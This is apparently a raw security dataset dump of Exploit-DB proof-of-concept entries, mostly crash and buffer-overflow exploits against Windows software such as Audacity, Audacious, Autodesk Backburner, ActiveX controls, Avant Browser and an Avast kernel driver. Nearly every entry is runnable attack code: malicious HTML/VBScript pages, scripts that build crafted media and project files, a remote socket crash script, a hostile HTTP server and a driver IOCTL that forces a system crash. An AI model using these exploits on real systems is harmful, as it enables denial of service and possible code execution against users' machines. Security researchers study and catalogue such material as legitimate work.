deardaniel/secdata-raw huggingface dataset:
Exploit-DB #12650
Description: Attachmate Reflection Standard Suite 2008 - ActiveX Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2010-05-18
Author: Rad L. Sneak

Exploit:
# Exploit Title: Attachmate Reflection Standard Suite 2008 activex buffer overflow
# Date: Mar 11, 2010 found
# Author: Rad L. Sneak (JB)
# Software Link: http://www.attachmate.com/Evals/ruo2/eval-form.htm
# Version: 13.0 & 14.0
# Tested on: WinXP SP3 & Win7 64bit
# CVE : None yet


Attachmate Reflection Standard Suite 2008 & Reflection X Both contain a buffer overflow that could be triggered via activex. when r2axctrl.ocx is sent large string to the Reflection for UNIX & OpenVMS control class a crash happens that overwrites EIP with 41414141. 


# Code : [PoC exploit below]
______________________________________________________________________________
<html>
PoC1
<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:15B168B2-AD3C-11D1-A8D8-00A0C9200E61' id='target' />
<script language='vbscript'>

'Wscript.echo typename(target)

'for debugging/custom prolog
targetFile = "C:\Program Files\ReflectionsX\r2axctrl.ocx"
prototype  = "Property Let ControlID As String"
memberName = "ControlID"
progid     = "R2AXCTRLLib.R2winCtrl"
argCount   = 1

arg1=String(4116, "A")

target.ControlID = arg1

</script></job></package></html>

___________________________________________________________________________________
May need to throw a refresh to trigger PoC2 completely
__________________________________________________________________________________
<html>
PoC2
<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:15B168B2-AD3C-11D1-A8D8-00A0C9200E61' id='target' />
<script language='vbscript'>

'Wscript.echo typename(target)

'for debugging/custom prolog
targetFile = "C:\Program Files\ReflectionsX\r2axctrl.ocx"
prototype  = "Property Let ControlID As String"
memberName = "ControlID"
progid     = "R2AXCTRLLib.R2winCtrl"
argCount   = 1

arg1=String(4116, "A")

target.ControlID = arg1

</script></job></package></html>

___________________________________________________________________________________________
Exploit-DB #38791
Description: Audacious 3.7 - ID3 Local Crash (PoC)
Type: dos
Platform: windows
Date: 2015-11-23
Author: Antonio Z.

Exploit:
# Exploit Title: Audacious 3.7 ID3 Local Crash PoC
# Date: 11-20-2015
# Exploit Author: Antonio Z.
# Vendor Homepage: http://audacious-media-player.org/
# Software Link: http://audacious-media-player.org/download | http://distfiles.audacious-media-player.org/audacious-3.7-win32.zip
# Version: 3.7
# Tested on: Windows 7 SP1 x64, Windows 8.1 x64, Windows 10 x64, Debian 8.2 x86-x64
# Comment: Issue was reported: http://redmine.audacious-media-player.org/issues/595

require 'fileutils'
require 'mp3info'

evil = 'A' * 1048576

FileUtils.cp 'Test_Case.mp3', 'Test_Case_PoC.mp3'

Mp3Info.open('Test_Case_PoC.mp3') do |mp3|
  mp3.tag.artist = evil
end
Exploit-DB #29926
Description: Audacious Player 3.4.2/3.4.1 - '.mp3' Crash (PoC)
Type: dos
Platform: windows
Date: 2013-11-30
Author: Akin Tosunlar

Exploit:
# Exploit Title: Audacious Player 3.4.2/3.4.1 (Windows) (.mp3) - Crash POC
# Date: 26.11.2013
# Exploit Author: Akin Tosunlar
# Software Link[3.4.2]: http://distfiles.audacious-media-player.org/audacious-3.4.2-win32.zip
# Software Link[3.4.1]: http://www.softpedia.com/dyn-postdownload.php?p=208954&t=0&i=1
# Version: 3.4.2/3.4.1 (Probably old version of software and the LATEST version too)
# Vendor Homepage: http://audacious-media-player.org
# Tested on: [ Windows 7 64Bit]
#============================================================================================
# After creating POC file (.mp3), Add File To Program
#============================================================================================
# Contact :
#------------------
# Web Page : http://www.vigasis.com
#============================================================================================

#(15bc.117c): Access violation - code c0000005 (first chance)
#First chance exceptions are reported before any exception handling.
#This exception may be expected and handled.
#eax=0c68fe30 ebx=004229d4 ecx=00000001 edx=00000000 esi=0028ff34 edi=760b2940
#eip=6b04127b esp=0028fca0 ebp=0028fd88 iopl=0         nv up ei pl nz na pe nc
#cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210206

my $file= "exploitmp3.mp3";

my $junk= "\x90" x 25000;

open($FILE,">$file");
print $FILE $junk;
close($FILE);
print "mp3 File Created successfully\n";
Exploit-DB #7634
Description: Audacity 1.2.6 - '.gro' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-01-01
Author: Houssamix

Exploit:
# -----------------------------------------------------------
#  Author : Houssamix
# -----------------------------------------------------------

# Audacity 1.2.6  (.gro file ) Local buffer overflow POC

# download : http://audacity.sourceforge.net/
# AudacityÂ® is free, open source software for recording and editing sounds.

# Description:
# When we select : project > import midi..   and we import ".gro" file contains long Chars
# The Program Will crash and The Following Happen:

# EAX:05050504  ECX:01414141  EDX:01520608  EBX:0012F154
# ESP:0012EF10  EBP:00000000  ESI:41414141  EDI:00000000
# EIP:006AEC54 audacity.006AEC54

# Access violation When Reading [41414141]
# And Also The Pointer to next SEH record and SE Handler Will gonna BE Over-wrote
 
# Poc  : 
# -------------------------------------------------------- 

#!/usr/bin/perl
#[*] Bug : Audacity 1.2.6  (.gro file ) Local buffer overflow
use warnings;
use strict;
my $chars   = "\x41" x 2000 ;
my $file="hsmx.gro";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $chars;
close($FILE);
print "$file has been created . import it in audacity  \n";


# ----------------------------------------------------------

# milw0rm.com [2009-01-01]
Exploit-DB #7694
Description: Audacity 1.6.2 - '.aup' Remote Off-by-One Crash
Type: dos
Platform: windows
Date: 2009-01-07
Author: Stack

Exploit:
#usage: exploit.py
print "**************************************************************************"
print " Audacity 1.6.2  (.aup file ) Remote off by one Crash Exploit\n"
print " Author: Mountassif Moad "
print " the best: Evil finger & v4 Team "
print " Tested on: Windows XP Pro SP2 Fr\n"
print " Greetings to: All friends"
print " almawto li israel\n"
print "**************************************************************************"
         
  
header = (
         "\x3c\x3f\x78\x6d\x6c\x20\x76\x65\x72"
         "\x73\x69\x6f\x6e\x3d\x22\x31\x2e\x30\x22\x3f"
         "\x3e\x0d\x0a\x3c\x61\x75\x64\x61\x63\x69\x74"
         "\x79\x70\x72\x6f\x6a\x65\x63\x74\x20\x70\x72"
          "\x6f\x6a\x6e\x61\x6d\x65\x3d\x22"
          )
 
header2 = (
        "\x22\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22"
        "\x31\x2e\x31\x2e\x30\x22\x20\x61\x75\x64\x61"
        "\x63\x69\x74\x79\x76\x65\x72\x73\x69\x6f\x6e"
        "\x3d\x22\x31\x2e\x32\x2e\x36\x22\x20\x73\x65"
        "\x6c\x30\x3d\x22\x30\x2e\x30\x30\x30\x30\x30"
        "\x30\x30\x30\x30\x30\x22\x20\x73\x65\x6c\x31"
        "\x3d\x22\x30\x2e\x30\x30\x30\x30\x30\x30\x30"
        "\x30\x30\x30\x22\x20\x76\x70\x6f\x73\x3d\x22"
        "\x30\x22\x20\x68\x3d\x22\x30\x2e\x30\x30\x30"
        "\x30\x30\x30\x30\x30\x30\x30\x22\x20\x7a\x6f"
        "\x6f\x6d\x3d\x22\x38\x36\x2e\x31\x33\x32\x38"
        "\x31\x32\x35\x30\x30\x30\x22\x20\x72\x61\x74"
        "\x65\x3d\x22\x34\x34\x31\x30\x30\x2e\x30\x30"
        "\x30\x30\x30\x30\x22\x20\x3e\x0d\x0a\x09\x3c"
        "\x74\x61\x67\x73\x20\x74\x69\x74\x6c\x65\x3d"
        "\x22\x22\x20\x61\x72\x74\x69\x73\x74\x3d\x22"
        "\x22\x20\x61\x6c\x62\x75\x6d\x3d\x22\x22\x20"
        "\x74\x72\x61\x63\x6b\x3d\x22\x2d\x31\x22\x20"
        "\x79\x65\x61\x72\x3d\x22\x22\x20\x67\x65\x6e"
        "\x72\x65\x3d\x22\x2d\x31\x22\x20\x63\x6f\x6d"
        "\x6d\x65\x6e\x74\x73\x3d\x22\x22\x20\x69\x64"
        "\x33\x76\x32\x3d\x22\x31\x22\x20\x2f\x3e\x0d"
        "\x0a\x3c\x2f\x61\x75\x64\x61\x63\x69\x74\x79"
        "\x70\x72\x6f\x6a\x65\x63\x74\x3e"
  )
  
buff = "\x41" * 20000
exploit = header + buff + header2
try:
    out_file = open("crash.aup",'w')
    out_file.write(exploit)
    out_file.close()
    raw_input("\nExploit file created!\n")
except:
    print "Error"

# milw0rm.com [2009-01-07]
Exploit-DB #19000
Description: Audio Editor Master 5.4.1.217 - Denial of Service
Type: dos
Platform: windows
Date: 2012-06-06
Author: Onying

Exploit:
#!/usr/bin/python
#
# Exploit Title: Audio Editor Master 5.4.1.217 Denial Of Service Vulnerability
# software: Audio Editor Master
# version : 5.4.1.217
# Tested on: Windows XP SP3
# link: http://www.audioeditor.com
# Author: Onying (@onyiing)
# Blog: otakku-udang.blogspot.com
# from : Information Security Shinobi Camp (http://is2c-dojo.com)

junk ="\x41"*100
textfile = open("onyiing.cda" , 'w')
textfile.write(junk)
textfile.close()
Exploit-DB #9170
Description: Audio Editor Pro 2.91 - Remote Memory Corruption (PoC)
Type: dos
Platform: windows
Date: 2009-07-16
Author: LiquidWorm

Exploit:
Title: Audio Editor Pro 2.91 Remote Memory Corruption PoC

Product web page: http://www.mightsoft.com/

Summary: Audio Editor Pro is a visual multifunctional audio files editor for Microsoft Windows

Tested on: MS Windows XP Pro SP3 (EN)


--------------------------windbg--------------------------

(2bc.f5c): Unknown exception - code e0000001 (first chance)
(2bc.f5c): Unknown exception - code e0000001 (first chance)
(2bc.f5c): Unknown exception - code e0000001 (first chance)
(2bc.f5c): C++ EH exception - code e06d7363 (first chance)
(2bc.f5c): C++ EH exception - code e06d7363 (!!! second chance !!!)
eax=0012ec04 ebx=80040303 ecx=00000000 edx=00000000 esi=0012ec94 edi=0012ec94
eip=7c812aeb esp=0012ec00 ebp=0012ec54 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00040206
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll - 
kernel32!RaiseException+0x52:
7c812aeb 5e              pop     esi
0:000> g
WARNING: Continuing a non-continuable exception
(2bc.f5c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=80040303 ebx=80040303 ecx=00000000 edx=00000000 esi=00000000 edi=00d2ffb0
eip=0043a0c1 esp=0012eca0 ebp=0012ecb4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00050206
*** ERROR: Module load completed but symbols could not be loaded for [path]\areditor.exe
areditor+0x3a0c1:
0043a0c1 83660c00        and     dword ptr [esi+0Ch],0 ds:0023:0000000c=????????

-------------------------/windbg--------------------------


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
liquidworm gmail com
http://www.zeroscience.org/
16.07.2009




PoC:  1. http://zeroscience.org/codes/aimp2_evil.mp3
      2. https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/8837.mp3 (2009-aimp2_evil.mp3)
      3. http://securityreason.com/download/11/13

# milw0rm.com [2009-07-16]
Exploit-DB #30797
Description: Aurigma Image Uploader 4.x - ActiveX Control Multiple Remote Stack Buffer Overflow Vulnerabilities
Type: dos
Platform: windows
Date: 2007-11-22
Author: Elazar Broad

Exploit:
source: https://www.securityfocus.com/bid/26537/info

Aurigma Image Uploader ActiveX control is prone to multiple stack-based buffer-overflow vulnerabilities because it fails to perform adequate boundary checks on user-supplied data.

Successfully exploiting these issues allows remote attackers to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed exploit attempts likely result in denial-of-service conditions.

Versions prior to Aurigma Image Uploader 4.5.70 are affected.

UPDATE (November 26, 2007): Reports indicate that this issue occurs because of a buffer-overflow issue that affects a Win32API method. This has not been confirmed. We will update this BID as more information emerges. 

<html>
 <head>
  <script language="JavaScript" DEFER>
    function Check() {
    var s = "AAAA";

     while (s.length < 999999) s=s+s;

     var obj = new ActiveXObject("Aurigma.ImageUploader.4.1"); //{6E5E167B-1566-4316-B27F-0DDAB3484CF7}
      obj.GotoFolder(s);
      obj.CanGotoFolder(s);

   }
  </script>

 </head>
 <body onload="JavaScript: return Check();">
 </body>
</html>
Exploit-DB #41160
Description: Autodesk Backburner Manager 3 < 2016.0.0.2150 - Null Dereference Denial of Service
Type: dos
Platform: windows
Date: 2017-01-26
Author: b0nd

Exploit:
import sys
import datetime
import socket
import argparse
import os
import time

remote_host = ''
remote_port = ''

def callExit():
	print "\n\t\t[!] exiting at %s .....\n" % datetime.datetime.now()
	sys.exit(1)

def mySocket():
	try:
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	except socket.error:
		print 'Failed to create socket'
		sys.exit()
	
	print "\n\t[+] Socket Created"
	
	s.connect((remote_host, remote_port))
	print "\n\t[+] Socket Connected to %s on port %s" % (remote_host, remote_port)
	
	return s
	
# 250 backburner 1.0 Ready.
def receiveBanner(s):
	banner = s.recv(4096)
	print banner


def receiveData(s):
	data = s.recv(4096)
	print data


def setDataCommand(s):
    receiveData(s)			# backburner>
    print "Set Data Command"
    time.sleep(1)
    command = "set data\r\n"
    try:
        s.sendall(command)
    except socket.error:
        print 'Send failed'
        sys.exit()
    print "BackBurner Manager should have crashed"
    receiveData(s)			# 200 Help
    receiveData(s)			# Available Commands:.....and all set of commands
                            # backburner>


def main():
	if sys.platform == 'linux-i386' or sys.platform == 'linux2' or sys.platform == 'darwin':
		os.system('clear')

	parser = argparse.ArgumentParser(description = 'RCE Autodesk BackBurner')
	parser.add_argument('--host', nargs='?', dest='host', required=True, help='remote IP of Autodesk host')
	parser.add_argument('--port', nargs='?', dest='port', default=3234, help='remote Port running manager.exe')
	
	args = parser.parse_args()
	
	if args.host == None:
		print "\t[!] IP of remote host?"
		sys.exit()
	
	global remote_host
	global remote_port
	
	remote_host = args.host
	remote_port = args.port
	
	print "remote_host: %s" % remote_host
	print "remote_port: %s" % remote_port
	
	s = mySocket()
	receiveBanner(s)
	setDataCommand(s)
	
	print 'exit'
	sys.exit()
	
	
if __name__ == '__main__':
	try: sys.exit(main())
	except KeyboardInterrupt:
		callExit()
Exploit-DB #14858
Description: Autodesk MapGuide Viewer - ActiveX Denial of Service
Type: dos
Platform: windows
Date: 2010-09-01
Author: d3b4g

Exploit:
 
# Exploit Title: Autodesk MapGuide Viewer ActiveX(MGAXCTRL.DLL)Overflow Vulnerability 
# Date: [01-09-2010]
# Author: [d3b4g]
# Software Link: http://usa.autodesk.com/adsk/servlet/item?siteID=123112&id=9454821
# Version: [6.5]
# Tested on: [Winxp SP3]
# regards to ROL guys





Exception Code: ACCESS_VIOLATION
Disasm: 175CE9E	CMP DWORD PTR [ESI+1C],0	(MGAXCTRL.DLL)

Seh Chain:
--------------------------------------------------
1 	192847C 	MGAXCTRL.DLL
2 	73352542 	VBSCRIPT.dll
3 	7C839AD8 	KERNEL32.dll



Registers:
--------------------------------------------------
EIP 0175CE9E
EAX 00000001
EBX 003EB690 -> 0193F684
ECX 00000000
EDX 003E0608 -> 00180F98
EDI 003EB5D8 -> 0193FC24
ESI 00000404
EBP 0013EA84 -> 0013EAA0
ESP 0013EA58 -> 003EB644



ArgDump:
--------------------------------------------------
EBP+8	003EB644 -> 0193F90C
EBP+12	00000000
EBP+16	0013EAD4 -> 00130000
EBP+20	0042C4F4 -> 00110024
EBP+24	0013EA94 -> 0013EAD4
EBP+28	0013EB30 -> 0013EBC0


Block Disassembly: 
--------------------------------------------------
175CE8F	POP ESI
175CE90	JMP [EAX+60]
175CE93	PUSH ESI
175CE94	LEA ESI,[ECX+404]
175CE9A	TEST ESI,ESI
175CE9C	JE SHORT 0175CEC2
175CE9E	CMP DWORD PTR [ESI+1C],0	  <--- CRASH
175CEA2	JE SHORT 0175CEC2
175CEA4	PUSH 0
175CEA6	PUSH DWORD PTR [ESP+C]
175CEAA	MOV ECX,ESI
175CEAC	PUSH 0
175CEAE	CALL 01912C63
175CEB3	MOV EAX,[ESI]
175CEB5	MOV ECX,ESI





PoC:


<object classid='clsid:62789780-B744-11D0-986B-00609731A21D' id='target' />
<script language='vbscript'>

'File Generated by COMRaider v0.0.133 - http://labs.idefense.com

'Wscript.echo typename(target)

'for debugging/custom prolog
targetFile = "C:\Program Files\Autodesk\MapGuideViewerActiveX6.5\MgAxCtrl.dll"
prototype  = "Property Let LayersViewWidth As Long"
memberName = "LayersViewWidth"
progid     = "MGMapControl.MGMap"
argCount   = 1

arg1=0

target.LayersViewWidth = arg1

</script>
Exploit-DB #39393
Description: Autonics DAQMaster 1.7.3 - DQP Parsing Buffer Overflow Code Execution (PoC)
Type: dos
Platform: windows
Date: 2016-02-01
Author: LiquidWorm

Exploit:

Autonics DAQMaster 1.7.3 DQP Parsing Buffer Overflow Code Execution


Vendor: Autonics Corporation
Product web page: https://www.autonics.com
Affected version: 1.7.3 (build 2454)
                  1.7.0 (build 2333)
                  1.5.0 (build 2117)

Summary: DAQMaster is comprehensive device management program
that can be used with Autonics thermometers, panel meters,
pulse meters, and counters, etc and with Konics recorders,
indicators. DAQMaster provides GUI control for easy and convenient
management of parameters and multiple device data monitoring.

Desc: The vulnerability is caused due to a boundary error in the
processing of a project file, which can be exploited to cause a
buffer overflow when a user opens e.g. a specially crafted .DQP
project file with a large array of bytes inserted in the 'Description'
element. Successful exploitation could allow execution of arbitrary
code on the affected machine.

---------------------------------------------------------------------

(ee8.1ee8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=57010748 ecx=02bb9a00 edx=00808080 esi=00000001 edi=00000001
eip=00405d45 esp=0018f59c ebp=0018f91c iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
DAQMaster!TClsValueListShowData$qqrp16GraphicsTBitmapip10TPropValuei+0x41d:
00405d45 8b10            mov     edx,dword ptr [eax]  ds:002b:41414141=????????

---------------------------------------------------------------------

Tested on: Microsoft Windows 7 Professional SP1 (EN)
           Microsoft Windows 7 Ultimate SP1 (EN)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5302
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5302.php


20.11.2015

--


thricer.dqp project PoC:

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39393.zip
------------------------

<DAQMaster xmlns="http://www.w3.org/2001/XMLSchema-instance">
<Project>
 <General>
  <Name>Noname</Name>
  <Company></Company>
  <Worker></Worker>
  <Description>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...[n]</Description>
  <DataFolder>C:\Users\zslab\Documents</DataFolder>
  <DeskLayout>0</DeskLayout>
  <NameRule></NameRule>
  <FileType>0</FileType>
  <RunMode>0</RunMode>
  <Schedule Active="0"/>
  <Layout>0</Layout>
 </General>
<System/>
<UserTag/>
<DDEServer/>
<WorkSpace WorkSpaceNum="1">
  <WorkSpace>DAQ WorkSpace</WorkSpace>
</WorkSpace>
<UIList/>
<Layout/>
</Project>
</DAQMaster>
Exploit-DB #14698
Description: AV Music Morpher Gold 5.0.38 - '.m3u' Denial of Service
Type: dos
Platform: windows
Date: 2010-08-20
Author: b0telh0

Exploit:
#!/usr/bin/python
#
# Exploit Title: AV Music Morpher Gold (.m3u) Local Crash PoC
# Date: 08-20-2010
# Author: b0telh0
# Software Link: http://www.musicmorpher.com/download.php?product=musicgold
# Version: 5.0.38
# Tested on: Windows XP SP3 (pt-br) VirtualBox

#
# *.acd and *.bdi files will crash the application too!


crash = "\x41" * 5000

try:
    file = open('b0t.m3u','w');
    file.write(crash);
    file.close();
    print "\n[+] b0t.m3u created."
    print "[+] Burner > Create New Audio CD > Right click and 'Add playlist'"
    print "[+] Select b0t.m3u and boom.\n"
except:
    print "\n[-] Error.. Error.. Error.. Error..\n"
Exploit-DB #3514
Description: Avant Browser 11.0 build 26 - Remote Stack Overflow Crash
Type: dos
Platform: windows
Date: 2007-03-18
Author: DATA_SNIPER

Exploit:
#!/usr/bin/perl
# Avant Browser (ALL Version) Remot Stack OverFlow (Crash)
# Discovered by DATA_SNIPER
# Usage:
# connect from Avant browser to http://127.0.0.1/
use IO::Socket;
my $sock=new IO::Socket::INET (
Listen    => 1,
                                
LocalAddr => 'localhost',
                                
LocalPort => 80,
                               
Proto     => 'tcp');
die unless $sock;
$huge="A" x 1034985;
$|=1;
print "==========================================================================\n";
print "        Avant Browser (ALL Version) Remot Stack OverFlow (Crash)
";
print "                 Vulnerability Discovered by DATA_SNIPER
";
print "   GreetZ To:Hacking Master,Dear Devil,Xodia,JASS,All Algerian Hackers \n";
print "               Mail me at:Alpha_3(at)hotmail(dot)com\n";
print "==========================================================================\n";
print"[+] Http server started on port  80... \n";
print"[+] Try To Explorer http://127.0.0.1/ \n";
$z=$sock->accept();
print"[+] Connection Accepted!\n";
do
{
 $ln=<$z>;
 
print $ln;
 chomp $ln;
 
 if (($ln eq "")||($ln eq "\n")||($ln eq "\r"))
 {
  
print"[>]Sending Evil Packet\n";
  
print $z " HTTP/1.1 200 OK\r\nServer: bugs 3.1.02\r\nContent-Type:$huge\r\nConnection: close\r\n\r\n";
close($z);
  
exit;
 
}
} while (true);

# milw0rm.com [2007-03-18]
Exploit-DB #42182
Description: Avast aswSnx.sys Kernel Driver 11.1.2253 - Memory Corruption Privilege Escalation
Type: dos
Platform: windows
Date: 2017-06-15
Author: bee13oy

Exploit:
/**
* Author: bee13oy
* BSoD on Windows 7 x86 / Windows 10 x86  + Avast Premier / Avast Free Antivirus (11.1.2253)
* Source: https://github.com/bee13oy/AV_Kernel_Vulns/tree/master/Avast/aswSnx_BSoD2(ZDI-16-681)
*
* There is a Memory Corruption Vulnerability in aswSnx.sys when DeviceIoControl API is called with ioctl 
* number 0x82ac0170, and An attacker may leverage this vulnerability to execute arbitrary code in the 
* context of SYSTEM.
**/

#include <Windows.h>

void BSoD(const char* szDeviceName)
{
	HANDLE hDevice = CreateFileA(szDeviceName,
		GENERIC_READ, 
		0, 
		NULL, 
		OPEN_EXISTING, 
		0, 
		NULL);

	if (hDevice != INVALID_HANDLE_VALUE)
	{
		DWORD nbBytes = 0;
		CHAR bufInput[0x8+1] = "\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a"; 
		CHAR bufOuput[0x8+1] = ""; 
		DeviceIoControl(hDevice, 
			0x82ac0170, 
			bufInput, 
			0x00000008, 
			bufOuput, 
			0x00000008, 
			&nbBytes, 
			NULL
			); 
	}
}

int _tmain(int argc, _TCHAR* argv[])
{
	BSoD("\\\\.\\aswSnx");

	return 0;
}